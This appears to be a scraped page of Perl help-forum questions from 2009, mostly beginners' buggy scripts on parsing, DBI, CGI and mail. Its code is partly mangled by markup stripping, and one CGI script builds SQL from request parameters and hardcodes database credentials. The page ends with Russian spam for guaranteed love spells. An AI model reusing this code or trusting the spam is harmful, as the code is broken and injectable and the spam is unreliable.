so i have to make a perl script showing the user how many t's , a's , c's and g's he typed , what a mean , if the user of the perl script type CTGACTGACGTACGTACGTA , the perl script have to show him how many a's t's c's and g's he typed ....
hoping for help ,,, thanks a lot

ASP PERL script table

Honkey_Magoo — Fri, 23 Oct 2009 14:22:13 GMT

I have created the code to connect to a MySQL database and retrieve the values of a table. This is the function for printing the table:

# Name:         dbHistory

# Purpose:      prints srvHistory table from database

# Parameters:   N/A

# Returns:      N/A

# This is the implementation of the function



sub dbHistory{

my $connect = dbConnect();        # Creates connection 

my $query = "SELECT * FROM srvHistory";

my $query_h = $connect->prepare("$query") or die "Unable to prepare insert query. $DBI::errstr"; # Preps query

$query_h->execute() or die "Unable to execute query. $DBI::errstr";        # Executes query



my $sysID;

my $timeStamp;

my $upTime;

my $highestPartition;

my $hdPercent;

my $tx;

my $rx;

my $memPercent;

my $cpuPercent;

my $temp;

my $misc;



         while (($sysID, $timeStamp, $upTime, $highestPartition, $hdPercent, $tx, $rx, $memPercent) = $query_h->fetchrow()) 

        {

                $Response->Write( "$sysID, $timeStamp, $upTime, $highestPartition, $hdPercent, $tx, $rx, $memPercent
");

                

        }

$connect->disconnect() or die "Unable to disconnect. $DBI::errstr";        # Disconnect from MySQL



}

I would like to output the values into an HTML table or any sort of table that can organize this. Also if i could somehow save the values into a hash and then use the hash to display the values that would nice (but i am not to sure on how to do that). This is my current output:

230 1249905600 5565940 sample 50 10200 15000 40 20 35 4

580 1255593600 11030208 sample 50 10000 10000 50 50 25 1

I would like to state that i am not to familiar with PERL or ASP. Most of the code was provided and modified to suit my purpose.

How to chomp and split properly a file

notuserfriendly — Fri, 23 Oct 2009 04:22:12 GMT

I need to read from a file and be able to split it into columns and ignore a line if it starts with ' . '.

the text file is made of 3 columns but at some lines there are no words in the first column
here is an example of the text file

BANANAS ARE YELLOW
CHEESE IS YELLOW
IS BLUE
IS WHITE
JENNY LIKES PERL

. Line WITH a dot
Also i want to be able to ignore the line that starts with the " . "
thats just a close example of what the file looks like
basically i want to split after reading the file into 3 arrays, the first array having the contents of the first column, the second array having the contents of the second column and so forth. Here is my implementation . i have not used chomp yet

#!/usr/bin/perl



open (nastyfile , "file.txt");

my @lines = ;



foreach $word (@lines)

{

        (@col1,@col2,@col3)= split (/t/,$word);

        print "@col1";

        

}

print @lines;

close (nastyfile);

so basically i want the first array to have the words bananas cheese and jenny

how to javascript inside my perl progam.

santhanalakshmi — Thu, 22 Oct 2009 11:56:04 GMT

Hi,
This is my perl program..........

#!c:/perl/bin/perl

use CGI qw(:all);



$pfaccode=param('faccode');

$pprogramme=param('programme');

$pdeptcode=param('deptcode');

$pbrancode=param('brancode');

$psemester=param('semester');



$pkook = cookie(-name=>'logtime');



print "Content-type: text/html\n\n";

print "";

use DBI;

my $dbh = DBI->connect("DBI:ODBC:wwwdsn","webid","dibew") or die "Cant connect: $DBI::errstr\n";



my $sth = $dbh->prepare("select kid from facltmst where faccode = ?") or die "Can not prepare SQL statement\n";

$sth->execute($pfaccode) or die "Cant execute SQL: $DBI::errstr\n";

$kid = 0;

while ( @row = $sth->fetchrow_array())

{

        $kid=$row[0];

}

if(($kid eq 0) || ($kid ne $pkook))

{

        print "
Please Login.
";

        print "
";

        exit;

}



my $sth = $dbh->prepare("select pregp from clockmst") or die "Can not prepare SQL statement\n";

$sth->execute or die "Cant execute SQL: $DBI::errstr\n";

while ( @row = $sth->fetchrow_array())

{

        $mperiod = $row[0];

}





my @rollarr;

$sth = $dbh->prepare("select rollno,semester,programme,brancode from stuacmst where faccode = ? and programme = ? and deptcode = ? and brancode = ? and semester = ? and studstat = ? order by programme,brancode,semester,rollno") or die "Cant prepare: $DBI::errstr\n";

$sth->execute($pfaccode,$pprogramme,$pdeptcode,$pbrancode,$psemester,'C') or die "Cant execute: $DBI::errstr\n";

while ( @row = $sth->fetchrow_array())

{

        $mrollno = $row[0];

        $lc = substr($mrollno,7,1);

        if ($lc eq ' ')

        {

                $mrollno = substr($mrollno,0,7);

        }

        push(@rollarr,$mrollno);

}



my @backarr;

if ($pprogramme eq 'B' or $pprogramme eq 'L')

{

        $sth = $dbh->prepare("select distinct a.rollno from ucsrgdet a, corsemst b where a.rollno in (select rollno from stuacmst where faccode = ? and programme = ? and deptcode = ? and brancode = ? and semester = ?) and a.crseid = b.crseid and (a.grade=\'U\' or a.grade=\'W\') and not exists ( select c.crseid from ucsrgdet c,corsemst d where c.rollno = a.rollno and d.crseno = b.crseno and c.crseid = d.crseid and c.grade<>\'U\' and c.grade<>\'W\') order by a.rollno") or die "Cant prepare: $DBI::errstr\n";

}

else

{

        $sth = $dbh->prepare("select distinct a.rollno from pcsrgdet a, corsemst b where a.rollno in (select rollno from stuacmst where faccode = ? and programme = ? and deptcode = ? and brancode = ? and semester = ?) and a.crseid = b.crseid and (a.grade=\'U\' or a.grade=\'W\') and not exists ( select c.crseid from pcsrgdet c,corsemst d where c.rollno = a.rollno and d.crseno = b.crseno and c.crseid = d.crseid and c.grade<>\'U\' and c.grade<>\'W\') order by a.rollno") or die "Cant prepare: $DBI::errstr\n";

}

$sth->execute($pfaccode,$pprogramme,$pdeptcode,$pbrancode,$psemester) or die "Cant execute: $DBI::errstr\n";

while ( @row = $sth->fetchrow_array())

{

        $mrollno = $row[0];

        $lc = substr($mrollno,7,1);

        if ($lc eq ' ')

        {

                $mrollno = substr($mrollno,0,7);

        }

        push(@backarr,$mrollno);

}



if ($pprogramme eq 'B' or $pprogramme eq 'L')

{

        $sth = $dbh->prepare("select a.rollno from stuacmst a where a.faccode = ? and a.programme = ? and a.deptcode = ? and a.brancode = ? and a.semester = ? and exists(select b.crseno from corcsmst b where b.deptcode = a.deptcode and b.brancode = a.brancode and b.programme = a.programme and b.semester <= a.semester and b.crseno not in (select distinct e.crseno from ucsrgdet d, corsemst e where d.rollno = a.rollno and d.crseid = e.crseid union select distinct g.crseno from crnrgdet f, corsemst g where f.rollno = a.rollno and f.crseid = g.crseid))") or die "Cant prepare: $DBI::errstr\n"; 

}

else

{

        $sth = $dbh->prepare("select a.rollno from stuacmst a where a.faccode = ? and a.programme = ? and a.deptcode = ? and a.brancode = ? and a.semester = ? and exists(select b.crseno from corcsmst b where b.deptcode = a.deptcode and b.brancode = a.brancode and b.programme = a.programme and b.semester <= a.semester and b.crseno not in (select distinct e.crseno from pcsrgdet d, corsemst e where d.rollno = a.rollno and d.crseid = e.crseid union select distinct g.crseno from crnrgdet f, corsemst g where f.rollno = a.rollno and f.crseid = g.crseid))") or die "Cant prepare: $DBI::errstr\n"; 

}

$sth->execute($pfaccode,$pprogramme,$pdeptcode,$pbrancode,$psemester) or die "Cant execute: $DBI::errstr\n";

while ( @row = $sth->fetchrow_array())

{

        $mrollno = $row[0];

        $lc = substr($mrollno,7,1);

        if ($lc eq ' ')

        {

                $mrollno = substr($mrollno,0,7);

        }

        push(@backarr,$mrollno);

}



$msem = $psemester;

$msem = $msem + 1;

if ($msem < 10)

{

        $msemester = "0"."$msem";

}

else

{

        $msemester = "$msem";

}



my @tcslotarr;

my @tccrsearr;

my @pcslotarr;

my @pccrsearr;

my @pccatgarr;



$sth = $dbh->prepare("select crseno,category from corcsmst where deptcode = ? and brancode = ? and programme = ? and semester = ? order by crseno") or die "can not prepare SQL\n";

$sth->execute($pdeptcode,$pbrancode,$pprogramme,$msemester) or die "Can not execte SQL";



while ( @row = $sth->fetchrow_array())

{

        push(@tccrsearr,$row[0]);

        push(@tccatgarr,$row[1]);

}



$mtcount = @tccrsearr - 1;



for $i(0..$mtcount)

{

        $mcrseno = $tccrsearr[$i];

        $lc = substr($mcrseno,5,1);

        if ($lc eq ' ')

        {

                $mcrseno = substr($mcrseno,0,5);

        }



        $sth = $dbh->prepare("select distinct slot from crncsdet where period = ? and crseid in (select crseid from corsemst where crseno = ?) order by slot") or die "can not prepare SQL\n";

        $sth->execute($mperiod,$mcrseno) or die "Can not execte SQL";

        $mslot = ' ';

        while ( @row = $sth->fetchrow_array())

        {

                if ($mslot eq ' ')

                {

                        $mslot = $row[0];

                }

                else

                {

                        $mslot = $mslot."/".$row[0];

                }

        }

        $mcatg = $tccatgarr[$i];



        push(@pcslotarr,$mslot);

        push(@pccrsearr,$mcrseno);

        push(@pccatgarr,$mcatg);

}



my @petypearr;

$sth = $dbh->prepare("select a.etype from eletpdet a where a.deptcode = \'$pdeptcode\' and a.brancode = \'$pbrancode\' and a.programme = \'$pprogramme\' and a.semester = \'$msemester\' order by a.etype") or die "can not prepare SQL\n";

$sth->execute or die "Can not execte SQL";

while ( @row = $sth->fetchrow_array())

{

        push(@petypearr,$row[0]);

}



$mccount = @pccrsearr - 1;

$mecount = @petypearr - 1;



$mc = $mccount + 1;

$me = $mecount + 1;



$mprogramme = $pprogramme;

if ($mprogramme eq 'B')

{

        $sprog = "BTech";

}

elsif ($mprogramme eq 'L')

{

        $sprog = "Dual Degree";

}

elsif ($mprogramme eq 'M')

{

        $sprog = "MTech";

}

elsif ($mprogramme eq 'C')

{

        $sprog = "MSc";

}

elsif ($mprogramme eq 'A')

{

        $sprog = "MBA";

}

elsif ($mprogramme eq 'I')

{

        $sprog = "Int. PhD";

}



print "Pre-Registration for $mperiod
\n";

#$sth = $dbh->prepare("select branname from brnchmst where brancode = ?") or die "Can not prepare SQL statement\n";

$sth = $dbh->prepare("select branname from brnchmst where brancode = ? and programme<>'F'") or die "Can not prepare SQL statement\n";



$sth->execute($pbrancode) or die "Can not execte SQL";

$mbranname = '';

while ( @row = $sth->fetchrow_array())

{

        $mbranname = $row[0];

}

print "$sprog-$mbranname-$msemester Semester";

print "
";



print "Curriculum
";

print "";

print "";

for $i(0..$mccount)

{

        $mslot = $pcslotarr[$i];

        $mcrseno = $pccrsearr[$i];

        $sth = $dbh->prepare("select a.crsename,a.credit,a.crseid,b.category from corsemst a, corcsmst b where a.crseno = ? and a.wdrawdate = ? and a.crseno = b.crseno and b.brancode = ? and b.semester = ?") or die "Can not prepare SQL statement\n";

        $sth->execute($mcrseno,'1900/01/01',$pbrancode,$msemester) or die "Can not execte SQL";

        $mcrsename = '';

        $mcredit = '';

        $mcatg='';

        while ( @row = $sth->fetchrow_array())

        {

                $mcrsename = $row[0];

                $mcredit = $row[1];

                $mcrseid = $row[2];

                $mcatg = $row[3];

        }

        $sth = $dbh->prepare("select rcot from crncsdet where crseid = ? and period = ?") or die "Can not prepare SQL statement\n";

        $sth->execute($mcrseid,$mperiod) or die "Can not execte SQL";

        $mrcot = '';

        while ( @row = $sth->fetchrow_array())

        {

                $mrcot = $row[0];

        }

        $mpre='-';

        if ($mrcot eq 'Y')

        {

                $mpre = 'COT';

        }

        print "";

}


for $i(0..$mecount)

{

        $metype = $petypearr[$i];

        $sth = $dbh->prepare("select a.ename,b.credit,a.category from eletpmst a, eletpdet b where a.etype = ? and a.etype = b.etype and b.brancode = ? and b.semester = ?") or die "Can not prepare SQL statement\n";

        $sth->execute($metype,$pbrancode,$msemester) or die "Can not execte SQL";

        $mename = '';

        $mcredit = '';

        $mcatg = '';

        while ( @row = $sth->fetchrow_array())

        {

                $mename = $row[0];

                $mcredit = $row[1];

                $mcatg = $row[2];

        }

        $mslot = '-';

        $mpre = '-';

        print "";

}

print "Slot Crseno Title Credit Cat Pre. Req
$mslot $mcrseno $mcrsename $mcredit $mcatg $mpre
$mslot $metype $mename $mcredit $mcatg $mpre
";



print "Registration form
";

print "\n";

print "\n";

print "";

if($mccount > -1)

{

        for $i(0..$mccount)

        {

                if ($pcslotarr[$i] eq ' ')

                {

                        print "";

$mscount = @rollarr - 1;

for $i(0..$mscount)

{

        $mrollno = $rollarr[$i];



        $sth = $dbh->prepare("select crseno from prergtmp where rollno = ? and period = ?") or die "can not prepare SQL\n";

        $sth->execute($mrollno,$mperiod) or die "Can not execte SQL";

        $mp = 'N';

        while ( @row = $sth->fetchrow_array())

        {

                $mp = 'Y';

        }

        if ($mp eq 'N')

        {

                $sth = $dbh->prepare("insert into prergtmp(rollno,crseno,category,ctype,semester,period,slot) values (?,?,?,?,?,?,?)") or die "can not prepare SQL\n";

                for $k(0..$mccount)

                {

                        $mcrse = $pccrsearr[$k];

                        $mcatg = $pccatgarr[$k];

                        $mslot = $pcslotarr[$k];

                        $sth->execute($mrollno,$mcrse,$mcatg,'CORE',$msemester,$mperiod,$mslot) or die "Can not execte SQL";

                }

                for $k(0..$mecount)

                {

                        $metype = $petypearr[$k];

                        $sth = $dbh->prepare("select b.crseno,a.category from crnrgdet a, corsemst b where a.rollno = ? and a.period = ? and a.ctype = ? and a.crseid = b.crseid") or die "can not prepare SQL\n";

                        $sth->execute($mrollno,$mperiod,$metype) or die "Can not execte SQL";

                        $mep = 'N';

                        while ( @row = $sth->fetchrow_array())

                        {

                                $mcrse = $row[0];

                                $mcatg = $row[1];

                                $mep = 'Y';

                        }

                        if ($mep eq 'Y')

                        {

                                $sth = $dbh->prepare("insert into prergtmp(rollno,crseno,category,ctype,semester,period) values (?,?,?,?,?,?)") or die "can not prepare SQL\n";

                                $sth->execute($mrollno,$mcrse,$mcatg,$metype,$msemester,$mperiod) or die "Can not execte SQL";

                        }

                }

        }


        $menrolled = 'N';

        $sth = $dbh->prepare("select enrolled from stuacmst where rollno = ?") or die "Cant prepare: $DBI::errstr\n";

        $sth->execute($mrollno) or die "Can not execte SQL";

        while ( @row = $sth->fetchrow_array())

        {

                $menrolled = $row[0];

        }        

        if ($menrolled eq 'Y')

        {

                print "";

        }

        else

        {

                print "";

        }

        $j = $i + 1;

        print "\n";

      #print "\n";

      print "\n";

        if($mccount > -1)

        {

                for $k(0..$mccount)

                {

                        $mcrse = $pccrsearr[$k];

                        $mcp = 'N';

                        $sth = $dbh->prepare("select crseno from prergtmp where rollno = ? and crseno = ? and period = ? and ctype = ?") or die "can not prepare SQL\n";

                        $sth->execute($mrollno,$mcrse,$mperiod,'CORE') or die "Can not execte SQL";

                        while ( @row = $sth->fetchrow_array())

                        {

                                $mcp = 'Y';

                        }

                        if ($mcp eq 'Y')

                        {

                                print "\n";

                        }

                        else

                        {

                                print "\n";

                        }

                }

        }

        else

        {

                print "";

        }

        if($mecount > -1)

        {

                for $k(0..$mecount)

                {

                        $metype = $petypearr[$k];

                        $mep = 'N';

                        $sth = $dbh->prepare("select crseno from prergtmp where rollno = ? and ctype = ? and period = ?") or die "can not prepare SQL\n";

                        $sth->execute($mrollno,$metype,$mperiod) or die "Can not execte SQL";

                        while ( @row = $sth->fetchrow_array())

                        {

                                $mep = 'Y';

                                $mecrse = $row[0];

                        }

                        if ($mep eq 'Y')

                        {

                                print "";

                        }

                        else

                        {

                                print "";

                        }        

                }

        }

        else

        {

                print "";

        }

        $miback='N';

        foreach $backroll(@backarr)

        {

                if ($backroll eq $mrollno)

                {

                        $miback = 'Y';

                }

        }

        if ($miback eq 'Y')

        {

                $sth = $dbh->prepare("select crseno from prergtmp where rollno = ? and ctype = ? and period = ?") or die "can not prepare SQL\n";

                $sth->execute($mrollno,'BKLG',$mperiod) or die "Can not execte SQL";

                $mbstr = ' ';

                while ( @row = $sth->fetchrow_array())

                {

                        if ($mbstr eq ' ')

                        {

                                $mbstr = $mbstr.$row[0];

                        }

                        else

                        {

                                $mbstr = $mbstr.'
'.$row[0];

                        }

                }

                if ($mbstr ne ' ')

                {

                        print "";

                }

                else

                {

                        print "";

                }

        }

        else

        {

                print "\n";

        }


        $sth = $dbh->prepare("select crseno from prergtmp where rollno = ? and ctype = ? and period = ?") or die "can not prepare SQL\n";

        $sth->execute($mrollno,'EXT1',$mperiod) or die "Can not execte SQL";

        $mxstr = ' ';

        while ( @row = $sth->fetchrow_array())

        {

                $mxstr = $mxstr.$row[0];

        }


        $sth->execute($mrollno,'EXT2',$mperiod) or die "Can not execte SQL";

        while ( @row = $sth->fetchrow_array())

        {

                if ($mxstr eq ' ')

                {

                        $mxstr = $mxstr.$row[0];

                }

                else

                {

                        $mxstr = $mxstr.'
'.$row[0];

                }

        }


        if ($mxstr ne ' ')

        {

                print "";

        }

        else

        {

                print "";

        }


        print "";


       


        print "";

        print "";

        print "";

        print "";

        print "";

        print "";

        print "";


      

      #print "";


        if ($menrolled eq 'Y')

        {

                print "";

            #print "";


        }

        else

        {

                print "";

            #print "";


      }

     

      

}

print "";

print "SlNo Rollno Core Electives Backlogs Others Form Approval
-";

                }

                else

                {

                        print " $pcslotarr[$i]";

                }



        }

}

else

{

                print " -";

}

for $i(0..$mecount)

{

        print " $petypearr[$i]";

}

print "


$j $j $mrollno $pccrsearr[$k] NONE - $mecrse register - $mbstr register -


$mxstr register
view


$mrollno


";

#print "";

#print "
"; 

print "";

print "
";

Slot	Crseno	Title	Credit	Cat	Pre. Req
$mslot	$mcrseno	$mcrsename	$mcredit	$mcatg	$mpre
$mslot	$metype	$mename	$mcredit	$mcatg	$mpre

SlNo	Rollno	Core	Electives	Backlogs	Others	Form	Approval
-"; } else { print "	$pcslotarr[$i]"; } } } else { print "	-"; } for $i(0..$mecount) { print "	$petypearr[$i]"; } print "
$j	$j	$mrollno	$pccrsearr[$k]	NONE	-	$mecrse	register	-	$mbstr	register	-	$mxstr	register	view	$mrollno

This is my Javascript Code.I want to add this javascript code in the above coding( *.cgi program).Please help me out ,how to add this javascript in the above coding.what is the syntax?how to add ?

Perl One Liner: Replace {(

mf44 — Thu, 22 Oct 2009 06:29:08 GMT

Hello! Good morning. I am a newbie to perl. Sorry for the "stupid" question.

Need your help on a perl one liner. Can't figure out how to add into the line.

Currently have the following line: perl -pi -e 's='\{"$Poly_Map"=\{"$Poly_Map"F= temp_list

This to search something like:

A1_0 {A1_0 size by 0.003 overunder} --> turn into A1_0 {A1_0F size by 0.003 overunder}

But what is the command to do the below (notice the extra bracket below):

A1_0 {(A1_0 size by 0.003 overunder) size by 0.003 underover} --> turn into A1_0 {(A1_0F size by 0.003 overunder) size by 0.003 underover}

If I do like below, it will cause error.
perl -pi -e 's='\{("$Poly_Map"=\{("$Poly_Map"F= temp_list

Can anybody help? Thank you very much in advance.

How to parse this confusing file

ajay_p5 — Thu, 22 Oct 2009 01:45:59 GMT

Hello friends ,
I need to parse some data from a file and arrange it in a certain file..however the file is so confusing and has such minute issues that it has really confused me now..can sumbody help.
Thanks
Aj
I am attaching the main part of the input file which are causing me trouble.

I am using this code :

my @file1 =;
foreach $lines(@file1)
{
if($i==3)
{
$i=1;
print OUTFILE"\\";
print OUTFILE"\n";
}

if ($lines =~m/^\\/)
{
$i=$i+1;
$lines=~s/\\//g;
print OUTFILE"\n";
if ($i==2)
{
print OUTFILE"$lines";
}
}
if($lines =~m/^JASSS:|Date:|Title:/)
{
print OUTFILE"$lines";
}
elsif ($lines =~m/^Author: && ^Address:/)
{
print OUTFILE"\n";
print OUTFILE"$lines";
}
elsif ($lines =~m/^Address:/)
{
print OUTFILE"\n";
print OUTFILE"$lines";
}
else
{
chomp($lines);
print OUTFILE"$lines";
}

}

close (INFILE);
close(OUTFILE);
exit;

OUTPUT comes like this:
ID: 1.1.2
Date: 31 Jan 1998
Title: Qualitative Modeling and Simulation of Socio-Economic Phenomena
Author: Giorgio Brajnik
Address: Dipartimento di Matematica e InformaticaUniversità di Udine Udine Italy Italy
Author: Marji Lines{The author and address shouldn't come together, which doesn't come in this case but if i change the code to get the 2nd record correctly this gets disturbed
Address: Dipartimento di Scienze StatisticheUniversità di Udine Udine Italy 33100 Italy

This paper describes an application of recently developed qualitative reasoning techniques to complex, socio-economic allocation problems.
\
ID: 2.3.3
Date: 30 Jun 1999
Title: Simulating Household Waste Management Behaviours
Author: Peter Tucker
Address: Environmental Initiatives GroupHigh Street PAISLEY PA1 2BE United Kingdom
Author: Andrew Smith
Address: Language Evolution and Computation Research UnitSchool of Philosophy Psychology and Language Sciences University of Edinburgh,{I don't want a new line here but if i change my code to get this correctly the 1st record gets disturbed
Adam Ferguson Building, 40 George Square EH8 9LL Edinburgh, United Kingdom

The paper reports the outcome of research to demonstrate the proof of concept.

NOTE: {I would like to have an output which fulfills both the criteria.}

Attached Files

id.txt (3.1 KB)

joining more than 1 array

ajay_p5 — Wed, 21 Oct 2009 00:09:29 GMT

Helllo all,
well I am trying to split a file on the basis of space first and then trying to join it with "-" but i am not able to do it, can sumone please suggest what should I do in order to do it.
I am attaching the required part of the whole code where I think the changes are required. It is just that i have a list of dates like this 30 jun 2008 and i want to change it in this format 30-jun-2008.

Thanks
Aj

if ($lines =~m/Date/)
{
$lines=~s/\s+$//g;
@aj2=split(/:/,$lines);
push(@date,$aj2[1]);
my($dd,$mm,$yy) = (split(/\s/,$date[0]))[1,2,3];
push(@date1,"$dd");
push(@month1, "$mm");
push(@year1,"$yy");
my($date2)= (join('-',@date1,@month1,@year1));
print"$date2";
}

Warning: uninitialized value in concatenation (.) or string

ajay_p5 — Mon, 19 Oct 2009 21:32:09 GMT

Hi,
Well I am getting this warning while running my script which is attached:Use of uninitialized value in concatenation (.) or string at aj.pl
in this line : print OUTFILE"$address[$k]|" as when i remove this line I don't get any warnings:
Can someone please tell me what is wrong with it:
Thanks
Aj

Here is my code:

#!/usr/bin/perl
use warnings;
use strict;

my $input = 'try_file.txt';
my $output = 'try_file_pipe.txt';
my $i=0;
my $lines="";
our(@aj1,@aj2,@aj3,@aj4,@aj5);
my @id=();
my @author= ();
my @text=();
my @address=();
open (INFILE, "$input") or die "Couldn't open $input for reading: $!\n";
open (OUTFILE, "> $output") or die "Couldn't open $output for writing: $!\n";

my @file1 =;
foreach $lines(@file1)
{
chomp($lines);
if($lines =~m/ID:/)
{
$lines=~s/\s+$//g;
@aj1=split(/:/,$lines);
push(@id,$aj1[1]);
}
elsif ($lines =~m/Author/)
{
$lines=~s/\s+$//g;
@aj4=split(/:/,$lines);
push(@author,$aj4[1]);
}
elsif ($lines =~m/Address/)
{
$lines=~s/\s+$//g;
@aj5=split(/:/,$lines);
push(@address,$aj5[1]);
}
elsif ($lines =~m/^\\/)
{
$i=$i+1;
}
else
{
push(@text,"$lines");
}

if ($i==1)
{
$i=0;( #no warnings 'uninitialized'; #of course when I am using this I don't get any warnings, still I am curious to know what is wrong with it.)

print OUTFILE"@id|";
my $n = scalar @author;
for($k=0;$k<$n;$k++)
{
print OUTFILE"$author[$k]|";
print OUTFILE"$address[$k]|";
}

print OUTFILE"@text";
@id=();
@text=();
@address=();
@author=();
}
}
close (INFILE);
close(OUTFILE);
exit;

Basic parsing problem...Help plz

jacquelinek — Mon, 19 Oct 2009 17:13:55 GMT

I have a txt file as an input.
It is a list which looks like this:

A12345
B153875
C34893
...
...

and I have a database file which looks like this:

A12345 detail information
nvonafwenfovosdncsjdnfoewhuwerhwieufhiudhfisdfnsd
sdofnowerugfeuhgfurhgiuwerhfjdshfiasdhifheruwufhi
irgfiweurgf

A246 detail information
isdofnowerugfeuhgfurhgiuwerhfjdshfiadhifheruwufhi
wgerjgneiguihuhdnvkjdnvkjbdegiauberiubgieubgridfb
ooogrngoawerngiauengugbuivrug

B153875 detail information
wgerjgneiguihuvkwwjddnvkegtiaugberijubgieubgridfb
eragnowergnoweungfiousdhiuhsdnjkfnsk

C34893 detail information
fnweuraiwerbgivjbdbvurgfuwherugtheurhguhweriguhdg
sdgnasoughiueghaiwuh

...
...
...

My goal now is to find all the names listed (A12345_XXX, B153875_XXX, C34893_XXX, ...etc) in the database and create an output file like this (containing the names and the contents):

A12345_XXX
nvonafwenfovosdncsjdnfoewhuwerhwieufhiudhfisdfnsd
sdofnowerugfeuhgfurhgiuwerhfjdshfiasdhifheruwufhi
irgfiweurgf

B153875_XXX
wgerjgneiguihuvkwwjddnvkegtiaugberijubgieubgridfb
eragnowergnoweungfiousdhiuhsdnjkfnsk

C34893_XXX
fnweuraiwerbgivjbdbvurgfuwherugtheurhguhweriguhdg
sdgnasoughiueghaiwuh
...
...

How should I approach this?
(Fortunately, both the namelist and the database are in alphabetical order.)

My code so far only cover the filehandle part, something like this:

($v1, $v2, $v3) = @ARGV;
//$v1 is the namelist file
//$v2 is the database filename
//$v3 is the desired output filename

open (FILEHANDLE, $v1) || die;
open (DATABASE, $v2) || die;
open (RESULTS, ">$v2");

......
......
......

close (FILEHANDLE);
close (DATABASE);
close (RESULTS);
exit;

Request help!

Error sending Mail from Net::SMTP::SSL

ItecKid — Thu, 15 Oct 2009 16:41:13 GMT

Hello,

I am trying to send e-mail using Perl and Net::SMTP::SSL. However, I receive errors when running this script (example from documentation):

#!/usr/bin/perl -w

use Net::SMTP::SSL;

sub send_mail {
my $to = $_[0];
my $subject = $_[1];
my $body = $_[2];

my $from = 'me@gmail.com';
my $password = 'MySuperSecretPassword';

my $smtp;

if (not $smtp = Net::SMTP::SSL->new('smtp.gmail.com',
Port => 465,
Debug => 1)) {
die "Could not connect to server\n";
}

$smtp->auth($from, $password)
|| die "Authentication failed!\n";

$smtp->mail($from . "\n");
my @recepients = split(/,/, $to);
foreach my $recp (@recepients) {
$smtp->to($recp . "\n");
}
$smtp->data();
$smtp->datasend("From: " . $from . "\n");
$smtp->datasend("To: " . $to . "\n");
$smtp->datasend("Subject: " . $subject . "\n");
$smtp->datasend("\n");
$smtp->datasend($body . "\n");
$smtp->dataend();
$smtp->quit;
}

# Send away!
&send_mail('name@example.com', 'Server just blew up', 'Some more detail');

Naturally, I change the value of from, to, and password to be their correct values when I run the script.

However, I receive errors like this:

Net::SMTP::SSL>>> Net::SMTP::SSL(1.01)
Net::SMTP::SSL>>> IO::Socket::SSL(1.30)
Net::SMTP::SSL>>> IO::Socket::INET(1.31)
Net::SMTP::SSL>>> IO::Socket(1.30_01)
Net::SMTP::SSL>>> IO::Handle(1.27)
Net::SMTP::SSL>>> Exporter(5.62)
Net::SMTP::SSL>>> Net::Cmd(2.29)
Net::SMTP::SSL=GLOB(0x2065958)<<< 220 mx.google.com ESMTP y6sm320414mug.40
Net::SMTP::SSL=GLOB(0x2065958)>>> EHLO localhost.localdomain
Net::SMTP::SSL=GLOB(0x2065958)<<< 250-mx.google.com at your service, [128.113.81.58]
Net::SMTP::SSL=GLOB(0x2065958)<<< 250-SIZE 35651584
Net::SMTP::SSL=GLOB(0x2065958)<<< 250-8BITMIME
Net::SMTP::SSL=GLOB(0x2065958)<<< 250-AUTH LOGIN PLAIN
Net::SMTP::SSL=GLOB(0x2065958)<<< 250-ENHANCEDSTATUSCODES
Net::SMTP::SSL=GLOB(0x2065958)<<< 250 PIPELINING
Authentication failed!

And yes, I am certain that all the values I am using are valid.

Any thoughts about this?

Parsing of information in perl

Vandithar — Thu, 15 Oct 2009 11:18:00 GMT

Hi,

I have strings like this:

$string="OWN - NLM STAT- Publisher DA - 20091005 AU - Gannon AM AU - Turner EC AU - Reid HM AU - Kinsella BT AU- XYZ AD - UCD School of Biomolecular and Biomedical Sciences";

I want to parse these tags and create an hash for this string.

The output should be like this:

OWN- NLM
STAT- Publisher
DA - 20091005
AU- Gannon AM Turner EC Kinsella BT XYZ
AD - UCD School of Biomolecular and Biomedical Sciences

I tried paring using regular expression but some times the format might be different.

$srting=~/OWN-(.*)AU(.*)/g;

How to parse all information and create hash?

Regards
Vandita

Bizarre Post problem

horakova — Wed, 14 Oct 2009 17:44:36 GMT

This is actually a CGI issue I am having but Perl seems to be the closest forum here.

I am having a very simple (hence very frustrating) problem with a CGI/Perl script. For some reason if I pas things from a checkbox they all get passed fine but the last item is passed twice. I have excised a paired down script with the html and perl components. I am at wit's end with this. Please someone tell me what is going on.

From fill_pg.html:

Fill pg

Please select the plants to search

Spinacia oleracea
Antirrhinum majus
Amborella trichopoda
Arabidopsis thaliana

Arabis hirsuta
Cuscuta reflexa
Atropa belladona
Barbarea verna

Please select the gene you are looking for:

Now the Perl script:

#!/usr/bin/perl

print "Content-type: text/html\n\n";
$forminfo = ;

@key_value_pairs = split(/&/,$forminfo);
foreach $pair (@key_value_pairs){
($key,$value) = split(/=/,$pair);
$value =~ s/\+/ /g;
$value =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C", hex($1))/eg;
$FORM_DATA{$key} = $value;
print $FORM_DATA{'access'};
print"
";

print $FORM_DATA{'gene'};

}

If I choose, say, the checkboxes corresponding to, say, AJ400848
and AJ316582 and the pulldown list item, say, petD .... this is what I get:
AJ400848
AJ316582
AJ316582
petD

How do I make it stop doing this? Please help.

AJB

execute ksh script in perl

axn — Mon, 12 Oct 2009 22:13:50 GMT

I am migrating scripts from UNIX server to a Linux. In the perl script it calls rcp to transfer files. It worked ok in UNIX but not in Linux, which has scp, I dont want to do scp now as this is a temporary Linux Box I am using.
I wrote an ftp script to do the work which rcp was doing in UNIX so it would work in Linux. Testing the stand alone ftp works ok, call it within the perl script and it doesn't work

I have tried
system("ftpscript";
exec("./ftpscript");
system("./ftpscript";

ok whats another way to call a shell script within perl. I dont get any error messages. Destination directory does not contain any files.

copying a .exe file from one directory to another directory

rdevi — Mon, 12 Oct 2009 15:18:24 GMT

Hi all !
Can anybody tell me why the following code is not copying the file from source to destination?

Thakns in advance........

use File::Copy;
my $source="C:\\shared\\8.4.1\\DXSI";
my $dest="C:\\r45";
my @files;
my $file;
opendir(DIR, $source) or die "can't opendir $source: $! \n";
@files=readdir(DIR);

close DIR;
foreach $file(@files)
{
print "\n $file";
if($file ne "." || $file ne "..")
{
if (-f "$source$file")
{
chomp($file);
print "\n copying....";
copy($source, $dest) or die "Copy Failed: ";
}
}
}

Code Snippet Последняя возможность для вас.

Woumpefsfoepe — Sat, 10 Oct 2009 09:15:29 GMT

Восстановление и естественная гармонизация отношений без вреда, результат в день обращения (авторский метод И.Н.Германа). Результат гарантирован в самых сложных случаях, где не смогли помочь другие специалисты.
Привязка любимого человека, сексуальная и эмоциональная (авторский метод И.Н.Германа).
Установка барьера на нежелательные отношения с человеком без его ведома, развал отношений с соперниками.
